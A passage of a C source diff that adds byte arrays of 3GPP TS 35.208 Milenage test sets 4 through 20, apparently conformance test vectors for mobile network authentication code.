0x0f, 0x0a, 0x47, 0x8b, 0xf6, + 0xb6, 0x99, 0xf1, 0x5c, 0x06, 0x2e, 0x42, 0xb3 }, + { 0x9c, 0xab, 0xc3, 0xe9, 0x9b, 0xaf, 0x72, 0x81 }, + { 0x95, 0x81, 0x4b, 0xa2, 0xb3, 0x04, 0x43, 0x24 }, + { 0x80, 0x11, 0xc4, 0x8c, 0x0c, 0x21, 0x4e, 0xd2 }, + { 0x5d, 0xbd, 0xbb, 0x29, 0x54, 0xe8, 0xf3, 0xcd, + 0xe6, 0x65, 0xb0, 0x46, 0x17, 0x9a, 0x50, 0x98 }, + { 0x59, 0xa9, 0x2d, 0x3b, 0x47, 0x6a, 0x04, 0x43, + 0x48, 0x70, 0x55, 0xcf, 0x88, 0xb2, 0x30, 0x7b }, + { 0x33, 0x48, 0x4d, 0xc2, 0x13, 0x6b }, + { 0xde, 0xac, 0xdd, 0x84, 0x8c, 0xc6 } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.4 Test Set 4 */ + { 0x9e, 0x59, 0x44, 0xae, 0xa9, 0x4b, 0x81, 0x16, + 0x5c, 0x82, 0xfb, 0xf9, 0xf3, 0x2d, 0xb7, 0x51 }, + { 0xce, 0x83, 0xdb, 0xc5, 0x4a, 0xc0, 0x27, 0x4a, + 0x15, 0x7c, 0x17, 0xf8, 0x0d, 0x01, 0x7b, 0xd6 }, + { 0x0b, 0x60, 0x4a, 0x81, 0xec, 0xa8 }, + { 0x9e, 0x09 }, + { 0x22, 0x30, 0x14, 0xc5, 0x80, 0x66, 0x94, 0xc0, + 0x07, 0xca, 0x1e, 0xee, 0xf5, 0x7f, 0x00, 0x4f }, + { 0xa6, 0x4a, 0x50, 0x7a, 0xe1, 0xa2, 0xa9, 0x8b, + 0xb8, 0x8e, 0xb4, 0x21, 0x01, 0x35, 0xdc, 0x87 }, + { 0x74, 0xa5, 0x82, 0x20, 0xcb, 0xa8, 0x4c, 0x49 }, + { 0xac, 0x2c, 0xc7, 0x4a, 0x96, 0x87, 0x18, 0x37 }, + { 0xf3, 0x65, 0xcd, 0x68, 0x3c, 0xd9, 0x2e, 0x96 }, + { 0xe2, 0x03, 0xed, 0xb3, 0x97, 0x15, 0x74, 0xf5, + 0xa9, 0x4b, 0x0d, 0x61, 0xb8, 0x16, 0x34, 0x5d }, + { 0x0c, 0x45, 0x24, 0xad, 0xea, 0xc0, 0x41, 0xc4, + 0xdd, 0x83, 0x0d, 0x20, 0x85, 0x4f, 0xc4, 0x6b }, + { 0xf0, 0xb9, 0xc0, 0x8a, 0xd0, 0x2e }, + { 0x60, 0x85, 0xa8, 0x6c, 0x6f, 0x63 } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.5 Test Set 5 */ + { 0x4a, 0xb1, 0xde, 0xb0, 0x5c, 0xa6, 0xce, 0xb0, + 0x51, 0xfc, 0x98, 0xe7, 0x7d, 0x02, 0x6a, 0x84 }, + { 0x74, 0xb0, 0xcd, 0x60, 0x31, 0xa1, 0xc8, 0x33, + 0x9b, 0x2b, 0x6c, 0xe2, 0xb8, 0xc4, 0xa1, 0x86 }, + { 0xe8, 0x80, 0xa1, 0xb5, 0x80, 0xb6 }, + { 0x9f, 0x07 }, + { 0x2d, 0x16, 0xc5, 0xcd, 0x1f, 0xdf, 0x6b, 0x22, + 0x38, 0x35, 0x84, 0xe3, 0xbe, 0xf2, 0xa8, 0xd8 }, + { 0xdc, 0xf0, 0x7c, 0xbd, 0x51, 0x85, 0x52, 0x90, + 0xb9, 0x2a, 0x07, 0xa9, 0x89, 0x1e, 0x52, 0x3e }, + { 0x49, 0xe7, 0x85, 0xdd, 0x12, 0x62, 0x6e, 0xf2 }, + { 0x9e, 0x85, 0x79, 0x03, 0x36, 0xbb, 0x3f, 0xa2 }, + { 0x58, 0x60, 0xfc, 0x1b, 0xce, 0x35, 0x1e, 0x7e }, + { 0x76, 0x57, 0x76, 0x6b, 0x37, 0x3d, 0x1c, 0x21, + 0x38, 0xf3, 0x07, 0xe3, 0xde, 0x92, 0x42, 0xf9 }, + { 0x1c, 0x42, 0xe9, 0x60, 0xd8, 0x9b, 0x8f, 0xa9, + 0x9f, 0x27, 0x44, 0xe0, 0x70, 0x8c, 0xcb, 0x53 }, + { 0x31, 0xe1, 0x1a, 0x60, 0x91, 0x18 }, + { 0xfe, 0x25, 0x55, 0xe5, 0x4a, 0xa9 } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.6 Test Set 6 */ + { 0x6c, 0x38, 0xa1, 0x16, 0xac, 0x28, 0x0c, 0x45, + 0x4f, 0x59, 0x33, 0x2e, 0xe3, 0x5c, 0x8c, 0x4f }, + { 0xee, 0x64, 0x66, 0xbc, 0x96, 0x20, 0x2c, 0x5a, + 0x55, 0x7a, 0xbb, 0xef, 0xf8, 0xba, 0xbf, 0x63 }, + { 0x41, 0x4b, 0x98, 0x22, 0x21, 0x81 }, + { 0x44, 0x64 }, + { 0x1b, 0xa0, 0x0a, 0x1a, 0x7c, 0x67, 0x00, 0xac, + 0x8c, 0x3f, 0xf3, 0xe9, 0x6a, 0xd0, 0x87, 0x25 }, + { 0x38, 0x03, 0xef, 0x53, 0x63, 0xb9, 0x47, 0xc6, + 0xaa, 0xa2, 0x25, 0xe5, 0x8f, 0xae, 0x39, 0x34 }, + { 0x07, 0x8a, 0xdf, 0xb4, 0x88, 0x24, 0x1a, 0x57 }, + { 0x80, 0x24, 0x6b, 0x8d, 0x01, 0x86, 0xbc, 0xf1 }, + { 0x16, 0xc8, 0x23, 0x3f, 0x05, 0xa0, 0xac, 0x28 }, + { 0x3f, 0x8c, 0x75, 0x87, 0xfe, 0x8e, 0x4b, 0x23, + 0x3a, 0xf6, 0x76, 0xae, 0xde, 0x30, 0xba, 0x3b }, + { 0xa7, 0x46, 0x6c, 0xc1, 0xe6, 0xb2, 0xa1, 0x33, + 0x7d, 0x49, 0xd3, 0xb6, 0x6e, 0x95, 0xd7, 0xb4 }, + { 0x45, 0xb0, 0xf6, 0x9a, 0xb0, 0x6c }, + { 0x1f, 0x53, 0xcd, 0x2b, 0x11, 0x13 } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.7 Test Set 7 */ + { 0x2d, 0x60, 0x9d, 0x4d, 0xb0, 0xac, 0x5b, 0xf0, + 0xd2, 0xc0, 0xde, 0x26, 0x70, 0x14, 0xde, 0x0d }, + { 0x19, 0x4a, 0xa7, 0x56, 0x01, 0x38, 0x96, 0xb7, + 0x4b, 0x4a, 0x2a, 0x3b, 0x0a, 0xf4, 0x53, 0x9e }, + { 0x6b, 0xf6, 0x94, 0x38, 0xc2, 0xe4 }, + { 0x5f, 0x67 }, + { 0x46, 0x0a, 0x48, 0x38, 0x54, 0x27, 0xaa, 0x39, + 0x26, 0x4a, 0xac, 0x8e, 0xfc, 0x9e, 0x73, 0xe8 }, + { 0xc3, 0x5a, 0x0a, 0xb0, 0xbc, 0xbf, 0xc9, 0x25, + 0x2c, 0xaf, 0xf1, 0x5f, 0x24, 0xef, 0xbd, 0xe0 }, + { 0xbd, 0x07, 0xd3, 0x00, 0x3b, 0x9e, 0x5c, 0xc3 }, + { 0xbc, 0xb6, 0xc2, 0xfc, 0xad, 0x15, 0x22, 0x50 }, + { 0x8c, 0x25, 0xa1, 0x6c, 0xd9, 0x18, 0xa1, 0xdf }, + { 0x4c, 0xd0, 0x84, 0x60, 0x20, 0xf8, 0xfa, 0x07, + 0x31, 0xdd, 0x47, 0xcb, 0xdc, 0x6b, 0xe4, 0x11 }, + { 0x88, 0xab, 0x80, 0xa4, 0x15, 0xf1, 0x5c, 0x73, + 0x71, 0x12, 0x54, 0xa1, 0xd3, 0x88, 0xf6, 0x96 }, + { 0x7e, 0x64, 0x55, 0xf3, 0x4c, 0xf3 }, + { 0xdc, 0x6d, 0xd0, 0x1e, 0x8f, 0x15 } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.8 Test Set 8 */ + { 0xa5, 0x30, 0xa7, 0xfe, 0x42, 0x8f, 0xad, 0x10, + 0x82, 0xc4, 0x5e, 0xdd, 0xfc, 0xe1, 0x38, 0x84 }, + { 0x3a, 0x4c, 0x2b, 0x32, 0x45, 0xc5, 0x0e, 0xb5, + 0xc7, 0x1d, 0x08, 0x63, 0x93, 0x95, 0x76, 0x4d }, + { 0xf6, 0x3f, 0x5d, 0x76, 0x87, 0x84 }, + { 0xb9, 0x0e }, + { 0x51, 0x1c, 0x6c, 0x4e, 0x83, 0xe3, 0x8c, 0x89, + 0xb1, 0xc5, 0xd8, 0xdd, 0xe6, 0x24, 0x26, 0xfa }, + { 0x27, 0x95, 0x3e, 0x49, 0xbc, 0x8a, 0xf6, 0xdc, + 0xc6, 0xe7, 0x30, 0xeb, 0x80, 0x28, 0x6b, 0xe3 }, + { 0x53, 0x76, 0x1f, 0xbd, 0x67, 0x9b, 0x0b, 0xad }, + { 0x21, 0xad, 0xfd, 0x33, 0x4a, 0x10, 0xe7, 0xce }, + { 0xa6, 0x32, 0x41, 0xe1, 0xff, 0xc3, 0xe5, 0xab }, + { 0x10, 0xf0, 0x5b, 0xab, 0x75, 0xa9, 0x9a, 0x5f, + 0xbb, 0x98, 0xa9, 0xc2, 0x87, 0x67, 0x9c, 0x3b }, + { 0xf9, 0xec, 0x08, 0x65, 0xeb, 0x32, 0xf2, 0x23, + 0x69, 0xca, 0xde, 0x40, 0xc5, 0x9c, 0x3a, 0x44 }, + { 0x88, 0x19, 0x6c, 0x47, 0x98, 0x6f }, + { 0xc9, 0x87, 0xa3, 0xd2, 0x31, 0x15 } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.9 Test Set 9 */ + { 0xd9, 0x15, 0x1c, 0xf0, 0x48, 0x96, 0xe2, 0x58, + 0x30, 0xbf, 0x2e, 0x08, 0x26, 0x7b, 0x83, 0x60 }, + { 0xf7, 0x61, 0xe5, 0xe9, 0x3d, 0x60, 0x3f, 0xeb, + 0x73, 0x0e, 0x27, 0x55, 0x6c, 0xb8, 0xa2, 0xca }, + { 0x47, 0xee, 0x01, 0x99, 0x82, 0x0a }, + { 0x91, 0x13 }, + { 0x75, 0xfc, 0x22, 0x33, 0xa4, 0x42, 0x94, 0xee, + 0x8e, 0x6d, 0xe2, 0x5c, 0x43, 0x53, 0xd2, 0x6b }, + { 0xc4, 0xc9, 0x3e, 0xff, 0xe8, 0xa0, 0x81, 0x38, + 0xc2, 0x03, 0xd4, 0xc2, 0x7c, 0xe4, 0xe3, 0xd9 }, + { 0x66, 0xcc, 0x4b, 0xe4, 0x48, 0x62, 0xaf, 0x1f }, + { 0x7a, 0x4b, 0x8d, 0x7a, 0x87, 0x53, 0xf2, 0x46 }, + { 0x4a, 0x90, 0xb2, 0x17, 0x1a, 0xc8, 0x3a, 0x76 }, + { 0x71, 0x23, 0x6b, 0x71, 0x29, 0xf9, 0xb2, 0x2a, + 0xb7, 0x7e, 0xa7, 0xa5, 0x4c, 0x96, 0xda, 0x22 }, + { 0x90, 0x52, 0x7e, 0xba, 0xa5, 0x58, 0x89, 0x68, + 0xdb, 0x41, 0x72, 0x73, 0x25, 0xa0, 0x4d, 0x9e }, + { 0x82, 0xa0, 0xf5, 0x28, 0x7a, 0x71 }, + { 0x52, 0x7d, 0xbf, 0x41, 0xf3, 0x5f } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.10 Test Set 10 */ + { 0xa0, 0xe2, 0x97, 0x1b, 0x68, 0x22, 0xe8, 0xd3, + 0x54, 0xa1, 0x8c, 0xc2, 0x35, 0x62, 0x4e, 0xcb }, + { 0x08, 0xef, 0xf8, 0x28, 0xb1, 0x3f, 0xdb, 0x56, + 0x27, 0x22, 0xc6, 0x5c, 0x7f, 0x30, 0xa9, 0xb2 }, + { 0xdb, 0x5c, 0x06, 0x64, 0x81, 0xe0 }, + { 0x71, 0x6b }, + { 0x32, 0x37, 0x92, 0xfa, 0xca, 0x21, 0xfb, 0x4d, + 0x5d, 0x6f, 0x13, 0xc1, 0x45, 0xa9, 0xd2, 0xc1 }, + { 0x82, 0xa2, 0x6f, 0x22, 0xbb, 0xa9, 0xe9, 0x48, + 0x8f, 0x94, 0x9a, 0x10, 0xd9, 0x8e, 0x9c, 0xc4 }, + { 0x94, 0x85, 0xfe, 0x24, 0x62, 0x1c, 0xb9, 0xf6 }, + { 0xbc, 0xe3, 0x25, 0xce, 0x03, 0xe2, 0xe9, 0xb9 }, + { 0x4b, 0xc2, 0x21, 0x2d, 0x86, 0x24, 0x91, 0x0a }, + { 0x08, 0xce, 0xf6, 0xd0, 0x04, 0xec, 0x61, 0x47, + 0x1a, 0x3c, 0x3c, 0xda, 0x04, 0x81, 0x37, 0xfa }, + { 0xed, 0x03, 0x18, 0xca, 0x5d, 0xeb, 0x92, 0x06, + 0x27, 0x2f, 0x6e, 0x8f, 0xa6, 0x4b, 0xa4, 0x11 }, + { 0xa2, 0xf8, 0x58, 0xaa, 0x9e, 0x5d }, + { 0x74, 0xe7, 0x6f, 0xbb, 0xec, 0x38 } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.11 Test Set 11 */ + { 0x0d, 0xa6, 0xf7, 0xba, 0x86, 0xd5, 0xea, 0xc8, + 0xa1, 0x9c, 0xf5, 0x63, 0xac, 0x58, 0x64, 0x2d }, + { 0x67, 0x9a, 0xc4, 0xdb, 0xac, 0xd7, 0xd2, 0x33, + 0xff, 0x9d, 0x68, 0x06, 0xf4, 0x14, 0x9c, 0xe3 }, + { 0x6e, 0x23, 0x31, 0xd6, 0x92, 0xad }, + { 0x22, 0x4a }, + { 0x4b, 0x9a, 0x26, 0xfa, 0x45, 0x9e, 0x3a, 0xcb, + 0xff, 0x36, 0xf4, 0x01, 0x5d, 0xe3, 0xbd, 0xc1 }, + { 0x0d, 0xb1, 0x07, 0x1f, 0x87, 0x67, 0x56, 0x2c, + 0xa4, 0x3a, 0x0a, 0x64, 0xc4, 0x1e, 0x8d, 0x08 }, + { 0x28, 0x31, 0xd7, 0xae, 0x90, 0x88, 0xe4, 0x92 }, + { 0x9b, 0x2e, 0x16, 0x95, 0x11, 0x35, 0xd5, 0x23 }, + { 0x6f, 0xc3, 0x0f, 0xee, 0x6d, 0x12, 0x35, 0x23 }, + { 0x69, 0xb1, 0xca, 0xe7, 0xc7, 0x42, 0x9d, 0x97, + 0x5e, 0x24, 0x5c, 0xac, 0xb0, 0x5a, 0x51, 0x7c }, + { 0x74, 0xf2, 0x4e, 0x8c, 0x26, 0xdf, 0x58, 0xe1, + 0xb3, 0x8d, 0x7d, 0xcd, 0x4f, 0x1b, 0x7f, 0xbd }, + { 0x4c, 0x53, 0x9a, 0x26, 0xe1, 0xfa }, + { 0x07, 0x86, 0x1e, 0x12, 0x69, 0x28 } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.12 Test Set 12 */ + { 0x77, 0xb4, 0x58, 0x43, 0xc8, 0x8e, 0x58, 0xc1, + 0x0d, 0x20, 0x26, 0x84, 0x51, 0x5e, 0xd4, 0x30 }, + { 0x4c, 0x47, 0xeb, 0x30, 0x76, 0xdc, 0x55, 0xfe, + 0x51, 0x06, 0xcb, 0x20, 0x34, 0xb8, 0xcd, 0x78 }, + { 0xfe, 0x1a, 0x87, 0x31, 0x00, 0x5d }, + { 0xad, 0x25 }, + { 0xbf, 0x32, 0x86, 0xc7, 0xa5, 0x14, 0x09, 0xce, + 0x95, 0x72, 0x4d, 0x50, 0x3b, 0xfe, 0x6e, 0x70 }, + { 0xd4, 0x83, 0xaf, 0xae, 0x56, 0x24, 0x09, 0xa3, + 0x26, 0xb5, 0xbb, 0x0b, 0x20, 0xc4, 0xd7, 0x62 }, + { 0x08, 0x33, 0x2d, 0x7e, 0x9f, 0x48, 0x45, 0x70 }, + { 0xed, 0x41, 0xb7, 0x34, 0x48, 0x9d, 0x52, 0x07 }, + { 0xae, 0xfa, 0x35, 0x7b, 0xea, 0xc2, 0xa8, 0x7a }, + { 0x90, 0x8c, 0x43, 0xf0, 0x56, 0x9c, 0xb8, 0xf7, + 0x4b, 0xc9, 0x71, 0xe7, 0x06, 0xc3, 0x6c, 0x5f }, + { 0xc2, 0x51, 0xdf, 0x0d, 0x88, 0x8d, 0xd9, 0x32, + 0x9b, 0xcf, 0x46, 0x65, 0x5b, 0x22, 0x6e, 0x40 }, + { 0x30, 0xff, 0x25, 0xcd, 0xad, 0xf6 }, + { 0xe8, 0x4e, 0xd0, 0xd4, 0x67, 0x7e } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.13 Test Set 13 */ + { 0x72, 0x9b, 0x17, 0x72, 0x92, 0x70, 0xdd, 0x87, + 0xcc, 0xdf, 0x1b, 0xfe, 0x29, 0xb4, 0xe9, 0xbb }, + { 0x31, 0x1c, 0x4c, 0x92, 0x97, 0x44, 0xd6, 0x75, + 0xb7, 0x20, 0xf3, 0xb7, 0xe9, 0xb1, 0xcb, 0xd0 }, + { 0xc8, 0x5c, 0x4c, 0xf6, 0x59, 0x16 }, + { 0x5b, 0xb2 }, + { 0xd0, 0x4c, 0x9c, 0x35, 0xbd, 0x22, 0x62, 0xfa, + 0x81, 0x0d, 0x29, 0x24, 0xd0, 0x36, 0xfd, 0x13 }, + { 0x22, 0x8c, 0x2f, 0x2f, 0x06, 0xac, 0x32, 0x68, + 0xa9, 0xe6, 0x16, 0xee, 0x16, 0xdb, 0x4b, 0xa1 }, + { 0xff, 0x79, 0x4f, 0xe2, 0xf8, 0x27, 0xeb, 0xf8 }, + { 0x24, 0xfe, 0x4d, 0xc6, 0x1e, 0x87, 0x4b, 0x52 }, + { 0x98, 0xdb, 0xbd, 0x09, 0x9b, 0x3b, 0x40, 0x8d }, + { 0x44, 0xc0, 0xf2, 0x3c, 0x54, 0x93, 0xcf, 0xd2, + 0x41, 0xe4, 0x8f, 0x19, 0x7e, 0x1d, 0x10, 0x12 }, + { 0x0c, 0x9f, 0xb8, 0x16, 0x13, 0x88, 0x4c, 0x25, + 0x35, 0xdd, 0x0e, 0xab, 0xf3, 0xb4, 0x40, 0xd8 }, + { 0x53, 0x80, 0xd1, 0x58, 0xcf, 0xe3 }, + { 0x87, 0xac, 0x3b, 0x55, 0x9f, 0xb6 } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.14 Test Set 14 */ + { 0xd3, 0x2d, 0xd2, 0x3e, 0x89, 0xdc, 0x66, 0x23, + 0x54, 0xca, 0x12, 0xeb, 0x79, 0xdd, 0x32, 0xfa }, + { 0xcf, 0x7d, 0x0a, 0xb1, 0xd9, 0x43, 0x06, 0x95, + 0x0b, 0xf1, 0x20, 0x18, 0xfb, 0xd4, 0x68, 0x87 }, + { 0x48, 0x41, 0x07, 0xe5, 0x6a, 0x43 }, + { 0xb5, 0xe6 }, + { 0xfe, 0x75, 0x90, 0x5b, 0x9d, 0xa4, 0x7d, 0x35, + 0x62, 0x36, 0xd0, 0x31, 0x4e, 0x09, 0xc3, 0x2e }, + { 0xd2, 0x2a, 0x4b, 0x41, 0x80, 0xa5, 0x32, 0x57, + 0x08, 0xa5, 0xff, 0x70, 0xd9, 0xf6, 0x7e, 0xc7 }, + { 0xcf, 0x19, 0xd6, 0x2b, 0x6a, 0x80, 0x98, 0x66 }, + { 0x5d, 0x26, 0x95, 0x37, 0xe4, 0x5e, 0x2c, 0xe6 }, + { 0xaf, 0x4a, 0x41, 0x1e, 0x11, 0x39, 0xf2, 0xc2 }, + { 0x5a, 0xf8, 0x6b, 0x80, 0xed, 0xb7, 0x0d, 0xf5, + 0x29, 0x2c, 0xc1, 0x12, 0x1c, 0xba, 0xd5, 0x0c }, + { 0x7f, 0x4d, 0x6a, 0xe7, 0x44, 0x0e, 0x18, 0x78, + 0x9a, 0x8b, 0x75, 0xad, 0x3f, 0x42, 0xf0, 0x3a }, + { 0x21, 0x7a, 0xf4, 0x92, 0x72, 0xad }, + { 0x90, 0x0e, 0x10, 0x1c, 0x67, 0x7e } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.15 Test Set 15 */ + { 0xaf, 0x7c, 0x65, 0xe1, 0x92, 0x72, 0x21, 0xde, + 0x59, 0x11, 0x87, 0xa2, 0xc5, 0x98, 0x7a, 0x53 }, + { 0x1f, 0x0f, 0x85, 0x78, 0x46, 0x4f, 0xd5, 0x9b, + 0x64, 0xbe, 0xd2, 0xd0, 0x94, 0x36, 0xb5, 0x7a }, + { 0x3d, 0x62, 0x7b, 0x01, 0x41, 0x8d }, + { 0x84, 0xf6 }, + { 0x0c, 0x7a, 0xcb, 0x8d, 0x95, 0xb7, 0xd4, 0xa3, + 0x1c, 0x5a, 0xca, 0x6d, 0x26, 0x34, 0x5a, 0x88 }, + { 0xa4, 0xcf, 0x5c, 0x81, 0x55, 0xc0, 0x8a, 0x7e, + 0xff, 0x41, 0x8e, 0x54, 0x43, 0xb9, 0x8e, 0x55 }, + { 0xc3, 0x7c, 0xae, 0x78, 0x05, 0x64, 0x20, 0x32 }, + { 0x68, 0xcd, 0x09, 0xa4, 0x52, 0xd8, 0xdb, 0x7c }, + { 0x7b, 0xff, 0xa5, 0xc2, 0xf4, 0x1f, 0xbc, 0x05 }, + { 0x3f, 0x8c, 0x3f, 0x3c, 0xcf, 0x76, 0x25, 0xbf, + 0x77, 0xfc, 0x94, 0xbc, 0xfd, 0x22, 0xfd, 0x26 }, + { 0xab, 0xcb, 0xae, 0x8f, 0xd4, 0x61, 0x15, 0xe9, + 0x96, 0x1a, 0x55, 0xd0, 0xda, 0x5f, 0x20, 0x78 }, + { 0x83, 0x7f, 0xd7, 0xb7, 0x44, 0x19 }, + { 0x56, 0xe9, 0x7a, 0x60, 0x90, 0xb1 } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.16 Test Set 16 */ + { 0x5b, 0xd7, 0xec, 0xd3, 0xd3, 0x12, 0x7a, 0x41, + 0xd1, 0x25, 0x39, 0xbe, 0xd4, 0xe7, 0xcf, 0x71 }, + { 0x59, 0xb7, 0x5f, 0x14, 0x25, 0x1c, 0x75, 0x03, + 0x1d, 0x0b, 0xcb, 0xac, 0x1c, 0x2c, 0x04, 0xc7 }, + { 0xa2, 0x98, 0xae, 0x89, 0x29, 0xdc }, + { 0xd0, 0x56 }, + { 0xf9, 0x67, 0xf7, 0x60, 0x38, 0xb9, 0x20, 0xa9, + 0xcd, 0x25, 0xe1, 0x0c, 0x08, 0xb4, 0x99, 0x24 }, + { 0x76, 0x08, 0x9d, 0x3c, 0x0f, 0xf3, 0xef, 0xdc, + 0x6e, 0x36, 0x72, 0x1d, 0x4f, 0xce, 0xb7, 0x47 }, + { 0xc3, 0xf2, 0x5c, 0xd9, 0x43, 0x09, 0x10, 0x7e }, + { 0xb0, 0xc8, 0xba, 0x34, 0x36, 0x65, 0xaf, 0xcc }, + { 0x7e, 0x3f, 0x44, 0xc7, 0x59, 0x1f, 0x6f, 0x45 }, + { 0xd4, 0x2b, 0x2d, 0x61, 0x5e, 0x49, 0xa0, 0x3a, + 0xc2, 0x75, 0xa5, 0xae, 0xf9, 0x7a, 0xf8, 0x92 }, + { 0x0b, 0x3f, 0x8d, 0x02, 0x4f, 0xe6, 0xbf, 0xaf, + 0xaa, 0x98, 0x2b, 0x8f, 0x82, 0xe3, 0x19, 0xc2 }, + { 0x5b, 0xe1, 0x14, 0x95, 0x52, 0x5d }, + { 0x4d, 0x6a, 0x34, 0xa1, 0xe4, 0xeb } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.17 Test Set 17 */ + { 0x6c, 0xd1, 0xc6, 0xce, 0xb1, 0xe0, 0x1e, 0x14, + 0xf1, 0xb8, 0x23, 0x16, 0xa9, 0x0b, 0x7f, 0x3d }, + { 0xf6, 0x9b, 0x78, 0xf3, 0x00, 0xa0, 0x56, 0x8b, + 0xce, 0x9f, 0x0c, 0xb9, 0x3c, 0x4b, 0xe4, 0xc9 }, + { 0xb4, 0xfc, 0xe5, 0xfe, 0xb0, 0x59 }, + { 0xe4, 0xbb }, + { 0x07, 0x8b, 0xfc, 0xa9, 0x56, 0x46, 0x59, 0xec, + 0xd8, 0x85, 0x1e, 0x84, 0xe6, 0xc5, 0x9b, 0x48 }, + { 0xa2, 0x19, 0xdc, 0x37, 0xf1, 0xdc, 0x7d, 0x66, + 0x73, 0x8b, 0x58, 0x43, 0xc7, 0x99, 0xf2, 0x06 }, + { 0x69, 0xa9, 0x08, 0x69, 0xc2, 0x68, 0xcb, 0x7b }, + { 0x2e, 0x0f, 0xdc, 0xf9, 0xfd, 0x1c, 0xfa, 0x6a }, + { 0x70, 0xf6, 0xbd, 0xb9, 0xad, 0x21, 0x52, 0x5f }, + { 0x6e, 0xda, 0xf9, 0x9e, 0x5b, 0xd9, 0xf8, 0x5d, + 0x5f, 0x36, 0xd9, 0x1c, 0x12, 0x72, 0xfb, 0x4b }, + { 0xd6, 0x1c, 0x85, 0x3c, 0x28, 0x0d, 0xd9, 0xc4, + 0x6f, 0x29, 0x7b, 0xae, 0xc3, 0x86, 0xde, 0x17 }, + { 0x1c, 0x40, 0x8a, 0x85, 0x8b, 0x3e }, + { 0xaa, 0x4a, 0xe5, 0x2d, 0xaa, 0x30 } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.18 Test Set 18 */ + { 0xb7, 0x3a, 0x90, 0xcb, 0xcf, 0x3a, 0xfb, 0x62, + 0x2d, 0xba, 0x83, 0xc5, 0x8a, 0x84, 0x15, 0xdf }, + { 0xb1, 0x20, 0xf1, 0xc1, 0xa0, 0x10, 0x2a, 0x2f, + 0x50, 0x7d, 0xd5, 0x43, 0xde, 0x68, 0x28, 0x1f }, + { 0xf1, 0xe8, 0xa5, 0x23, 0xa3, 0x6d }, + { 0x47, 0x1b }, + { 0xb6, 0x72, 0x04, 0x7e, 0x00, 0x3b, 0xb9, 0x52, + 0xdc, 0xa6, 0xcb, 0x8a, 0xf0, 0xe5, 0xb7, 0x79 }, + { 0xdf, 0x0c, 0x67, 0x86, 0x8f, 0xa2, 0x5f, 0x74, + 0x8b, 0x70, 0x44, 0xc6, 0xe7, 0xc2, 0x45, 0xb8 }, + { 0xeb, 0xd7, 0x03, 0x41, 0xbc, 0xd4, 0x15, 0xb0 }, + { 0x12, 0x35, 0x9f, 0x5d, 0x82, 0x22, 0x0c, 0x14 }, + { 0x47, 0x9d, 0xd2, 0x5c, 0x20, 0x79, 0x2d, 0x63 }, + { 0x66, 0x19, 0x5d, 0xbe, 0xd0, 0x31, 0x32, 0x74, + 0xc5, 0xca, 0x77, 0x66, 0x61, 0x5f, 0xa2, 0x5e }, + { 0x66, 0xbe, 0xc7, 0x07, 0xeb, 0x2a, 0xfc, 0x47, + 0x6d, 0x74, 0x08, 0xa8, 0xf2, 0x92, 0x7b, 0x36 }, + { 0xae, 0xfd, 0xaa, 0x5d, 0xdd, 0x99 }, + { 0x12, 0xec, 0x2b, 0x87, 0xfb, 0xb1 } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.19 Test Set 19 */ + { 0x51, 0x22, 0x25, 0x02, 0x14, 0xc3, 0x3e, 0x72, + 0x3a, 0x5d, 0xd5, 0x23, 0xfc, 0x14, 0x5f, 0xc0 }, + { 0x81, 0xe9, 0x2b, 0x6c, 0x0e, 0xe0, 0xe1, 0x2e, + 0xbc, 0xeb, 0xa8, 0xd9, 0x2a, 0x99, 0xdf, 0xa5 }, + { 0x16, 0xf3, 0xb3, 0xf7, 0x0f, 0xc2 }, + { 0xc3, 0xab }, + { 0xc9, 0xe8, 0x76, 0x32, 0x86, 0xb5, 0xb9, 0xff, + 0xbd, 0xf5, 0x6e, 0x12, 0x97, 0xd0, 0x88, 0x7b }, + { 0x98, 0x1d, 0x46, 0x4c, 0x7c, 0x52, 0xeb, 0x6e, + 0x50, 0x36, 0x23, 0x49, 0x84, 0xad, 0x0b, 0xcf }, + { 0x2a, 0x5c, 0x23, 0xd1, 0x5e, 0xe3, 0x51, 0xd5 }, + { 0x62, 0xda, 0xe3, 0x85, 0x3f, 0x3a, 0xf9, 0xd2 }, + { 0x28, 0xd7, 0xb0, 0xf2, 0xa2, 0xec, 0x3d, 0xe5 }, + { 0x53, 0x49, 0xfb, 0xe0, 0x98, 0x64, 0x9f, 0x94, + 0x8f, 0x5d, 0x2e, 0x97, 0x3a, 0x81, 0xc0, 0x0f }, + { 0x97, 0x44, 0x87, 0x1a, 0xd3, 0x2b, 0xf9, 0xbb, + 0xd1, 0xdd, 0x5c, 0xe5, 0x4e, 0x3e, 0x2e, 0x5a }, + { 0xad, 0xa1, 0x5a, 0xeb, 0x7b, 0xb8 }, + { 0xd4, 0x61, 0xbc, 0x15, 0x47, 0x5d } + }, { + /* 3GPP TS 35.208 v6.0.0 - 4.3.20 Test Set 20 */ + { 0x90, 0xdc, 0xa4, 0xed, 0xa4, 0x5b, 0x53, 0xcf, + 0x0f, 0x12, 0xd7, 0xc9, 0xc3, 0xbc, 0x6a, 0x89 }, + { 0x9f, 0xdd, 0xc7, 0x20, 0x92, 0xc6, 0xad, 0x03, + 0x6b, 0x6e, 0x46, 0x47, 0x89, 0x31, 0x5b, 0x78 }, + { 0x20, 0xf8, 0x13, 0xbd, 0x41, 0x41 }, + { 0x61, 0xdf }, + { 0x3f, 0xfc, 0xfe, 0x5b, 0x7b, 0x11, 0x11, 0x58, + 0x99, 0x20, 0xd3, 0x52, 0x8e, 0x84, 0xe6, 0x55 }, + { 0xcb, 0x9c, 0xcc, 0xc4, 0xb9, 0x25, 0x8e, 0x6d, + 0xca, 0x47, 0x60, 0x37, 0x9f, 0xb8, 0x25, 0x81 }, + { 0x09, 0xdb, 0x94, 0xea, 0xb4, 0xf8, 0x14, 0x9e }, + { 